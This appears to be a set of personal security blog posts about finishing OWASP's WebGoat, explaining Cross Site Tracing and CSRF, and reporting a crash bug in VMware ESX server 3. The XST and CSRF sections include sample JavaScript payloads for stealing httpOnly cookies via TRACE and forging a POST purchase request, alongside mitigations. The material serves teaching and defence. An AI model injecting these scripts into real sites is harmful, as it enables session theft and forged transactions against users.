Hurray! For Webgoat

Hurray! I finally finished all of the lessons in OWASP's Webgoat application. Webgoat is an awesome application developed by OWASP.org designed to teach people about common web application vulnerabilities and how to exploit them. It is a tomcat server and web application written in jsp that contains examples of many common web vulnerabilities and instructions and helps on how to exploit them. It is an amazing hands on teaching tool for teaching people how to secure their web applications. I would recommend t to anyone interested in learning about web vulnerabilities.

See: Owasp's Webgoat

Cross Site Tracing(XST)

Cross site tracing is a technique that is used to circumvent Microsoft's httpOnly flag. The httpOnly flag is used to keep scripts from accessing cookie information. The http trace function is a http debugging function that will echo back any information sent to it in a trace request. For example:

TRACE http://mysite.com /HTTP/1.1
Host: http://mysite.com
Cookie: Auth-cookie.....

would echo the the cookie entire header back to the requester. Since a script did not access the cookie , the httpOnly flag did not protect the cookie . An attacker could use an existing CSS vulnerability to insert the following AJAX code into a website.

< script >
var xhr;
var url = "http://mysite.com";
try {
xhr = new ActiveXObject('Msxml2.XMLHTTP');

}
catch (e)
{

try {
xhr = new ActiveXObject('Microsoft.XMLHTTP');

}
catch (e2)
{

try {
xhr = new XMLHttpRequest();

}
catch (e3) { xhr = false; }
}
}

xhr.open('TRACE', url , true);
xhr.send(null);

// collect the response and send it to a site that you control

< /script >

The above code would use AJAX to send a trace request to the server hosting the website. The browser would send and cookie information that it holds for the website. The server would then echo back the information that was sent to it by the browser, including the cookie and the AJAX script could collect he response and send it to a page controlled by the attacker. This is bad because the attacker now has access to important session information.

Attack Mitigation:

1. Disable trace on your web servers.

2. Also luck for us Firefox and IE have disabled AJAX trace requests. So using one of these browsers will stop this attack using AJAX. It is still possible to execute the attack using other methods like ActiveX though.

For further explanation see: http://www.cgisecurity.com/whitehat-mirror/WH-WhitePaper_XST_ebook.pdf

Cross Site Request Forgery(CSRF)

My boss asked me to start testing our web application for web exploits. So I have been doing a lot of reading and code review lately. It is like a dream come true. But, this morning I learned AJAX so that I could do CSRF post requests via XSS. It seems to be a pretty sweet attack. CSRF is basically just tricking a user into visiting a malicious link, page controlled by the attacker, or page with a XSS vulnerability. The attacker then uses one of those methods to execute a GET or POST request against a site that the victim is currently logged into. To the authenticated site it will appear as if the request came from the victim. The request may be a simple as having the victim click a link such as https://victimsite.com/purchase.php?item=tv&quantity=100. The attacker could also use AJAX to execute the request with code like this:

var req;
var url = "https://victimsite.com/purchase.php";
var params = "item=tv&quantity=100";
try {
req = new XMLHttpRequest();
}
catch (e3) { document.write("error") }

req.open('POST', url , true);
req.send(params);

The above AJAX code would be placed on site with an XSS vulnerability and would be used against a site that uses post instead of a simple get request.

Mitigation:

Require a unique session variable to appended to each request. It also helps to use POST instead of GET.(This only makes it harder not impossible.)

On a side not Firefox claims to stop any AJAX code that makes a POST/GET request to any page that is not the parent page.

VMware ESX server 3 issue

I was have been busy at work developing a homegrown backup system for virtual machines on VMware ESX server 3 and while working the other day I came across a bug that causes the entire ESX server to crash. The error is in the way ESX server handles virtual disk files. I created a virtual disk delta file that was empty except for a special magic number at the beginning of the file. When that ESX server tried to power on the virtual machine containing my fake disk it caused the whole ESX host to dump its memory and crash.(Purple screen of death) Since this is only a local vulnerability it is not a very big deal. But, if used creatively it could be used to create a DOS of every virtual server running on the host. It could be delivered by tricking some one into downloading and installing a virtual appliance containing the specially crafted file. The VMware reps tell me that every fortune 500 company uses VMware ESX. Interesting...